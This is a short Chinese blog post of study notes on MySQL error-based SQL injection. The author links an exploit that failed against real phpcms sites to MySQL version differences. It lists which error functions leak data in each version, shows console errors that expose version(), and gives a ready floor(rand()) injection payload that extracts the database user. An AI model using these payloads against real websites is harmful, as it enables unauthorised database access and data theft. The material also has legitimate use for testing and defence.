MySQL报错注入笔记

作者: Luan 分类: 学习笔记 发布时间: 2017-04-11 11:02

前天写了phpcms的一个注入exp,经过大量测试发现,很多网站明明存在漏洞,我的exp却失败了。

多方面分析后,结果不是因为waf,而是因为mysql版本问题。

我的exp是使用的报错注入,如果mysql版本过低,某些报错函数就用不了!详细见下文:

 

1.MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

Mysql5.0:

Mysql5.1

所以在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。同理,mysql 5.5 limit后sql注入 准确的适用范围是 MySQL 5.1.5~5.5。

PS:updatexml报错函数的结果有32位的长度限制

 

2.一些函数在Mysql 5.0.中存在但是不会报错,5.1后才可以报错

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

MySQL5.0:

在5.1和5.5中测试其中一个:

这也就是为什么我的phpcms的exp测试某些网站不行的原因了!

3.在MySQL5.7中多了很多能报错的函数

ST_LatFromGeoHash()

ST_LongFromGeoHash()

GTID_SUBSET()

GTID_SUBTRACT()

ST_PointFromGeoHash()

mysql> select ST_LatFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LATFROMGEOHASH
mysql> select ST_LongFromGeoHash(version());
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LONGFROMGEOHASH
mysql> select GTID_SUBSET(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.
mysql> select GTID_SUBTRACT(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.
mysql> select ST_PointFromGeoHash(version(),1);
ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function st_pointfromgeohash

MySQL5.0,5.1和5.5中都没有。


 

4. Mysql5.0及以上版本都能用的报错函数:floor

‘ and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论